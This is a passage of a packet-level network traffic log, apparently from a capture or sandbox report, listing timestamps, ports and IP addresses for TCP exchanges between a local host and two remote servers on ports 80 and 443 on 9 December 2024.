Dec 9, 2024 23:09:35.490967989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.491024017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.491671085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.491713047 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.565325975 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:35.565361023 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:35.565454960 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:35.565798044 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:35.565813065 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:35.598653078 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.598740101 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.598793983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.598839998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.599081039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.599123001 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.599251986 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.599708080 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.599905014 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.599946976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.600193024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.600240946 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.600298882 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.600337982 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.643995047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.644064903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.644140959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.644179106 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.644464970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.644505024 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.644639015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.644680023 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.645337105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.645382881 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.645505905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.645544052 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.646223068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.646420956 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.646475077 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.647032976 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.647082090 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.647367001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.647413015 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.647984982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.648034096 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.648142099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.648267984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.648741961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.648782969 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.648874998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.648921967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.648932934 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.648951054 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.650080919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.650109053 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.650144100 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.650374889 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.650454998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.651369095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.651405096 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.651489973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.651587963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.652307987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.652319908 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.652367115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.652944088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.652955055 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.652993917 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.653024912 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.653058052 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.653069973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.653105974 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.653423071 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.653434038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.653459072 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.653486967 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.655172110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.655183077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.655217886 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.655292034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.655325890 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.655894995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.655905962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.655929089 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.655946970 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.655972958 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.656657934 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.656760931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.656800032 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.658293962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.658304930 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.658340931 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.658368111 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.658620119 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.658631086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.658667088 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.659560919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.659571886 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.659596920 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.659609079 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.660559893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.660571098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.660609961 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.661367893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.661379099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.661410093 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.661427975 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.661793947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.661837101 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.662290096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.662328005 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.662909031 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.662919998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.662944078 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.662961960 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.664144039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.664155006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.664180994 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.664195061 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.664625883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.665354967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.665400028 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.666363001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.666373014 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.666400909 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.666418076 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.666521072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.666805029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.666841984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.667241096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.667381048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.667392969 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.667421103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.667850971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.668186903 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.668468952 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.668538094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.668936968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.668948889 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.668991089 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.669605970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.669686079 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.670187950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.670228958 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.670651913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.670664072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.670702934 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.671699047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.671710968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.671744108 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.672385931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.672395945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.672436953 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.673352957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.673363924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.673391104 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.673418999 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.674012899 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.674025059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.674052000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.674067974 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.675079107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.675095081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.675118923 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.675134897 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.675757885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.675769091 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.675807953 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.676856995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.676915884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.677033901 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.677279949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.677290916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.677321911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.677355051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.678250074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.678292990 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.678447008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.678483963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.680186987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.680197954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.680226088 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.680248022 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.680493116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.680502892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.680511951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.680527925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.680538893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.680569887 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.681926012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.681969881 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.682797909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.682840109 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.683644056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.683902025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.683943987 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.684511900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.684554100 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.684619904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.684657097 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.685293913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.685333967 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.685421944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.685462952 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.792212963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.792308092 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.792356968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.792486906 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.792654037 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.792691946 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.792850018 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.792886019 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.793462038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.793510914 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.793643951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.793684006 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.794401884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.794444084 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.834537029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.834610939 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.834640026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.834682941 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.834862947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.834955931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.834991932 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.835006952 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.835741997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.835796118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.835839033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.836550951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.836669922 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.836703062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.836745024 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.837414026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.837462902 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.837534904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.837624073 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.838366032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.838408947 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.838454962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.838572979 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.839083910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.839142084 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.839204073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.839243889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.839975119 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.840023994 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.840054035 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.840090036 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.840812922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.840862989 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.840967894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.841011047 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.841656923 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.841742992 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.841759920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.841801882 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.842508078 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.842556953 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.842598915 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.842634916 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.843381882 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.843427896 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.843524933 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.843564987 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.844286919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.844310999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.844357014 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.845040083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.845082998 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.845169067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.845216036 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.845870972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.845951080 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.845961094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.846005917 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.846729994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.846776009 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.846906900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.846971035 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.847573042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.847733021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.847780943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.848417044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.848462105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.848495960 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.848536015 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.849275112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.849319935 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.849374056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.849435091 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.850114107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.850155115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.850218058 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.850286961 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.850991011 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.851098061 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.851145983 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.851840973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.851883888 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.851955891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.851994991 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.852668047 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.852725029 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.852823973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.852881908 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.853549957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.853590012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.853635073 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.854348898 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.854392052 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.854474068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.854513884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.855201006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.855248928 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.855285883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.855321884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.856081963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.856129885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.856172085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.856216908 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.856895924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.856978893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.857016087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.857055902 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.857727051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.857779026 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.857832909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.857866049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.858613968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.858656883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.858659983 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.858695984 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.859472990 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.859606028 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.859648943 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.860296965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.860347033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.860403061 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:35.860462904 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:35.861165047 CET	80	49838	185.215.113.16	192.168.2.4
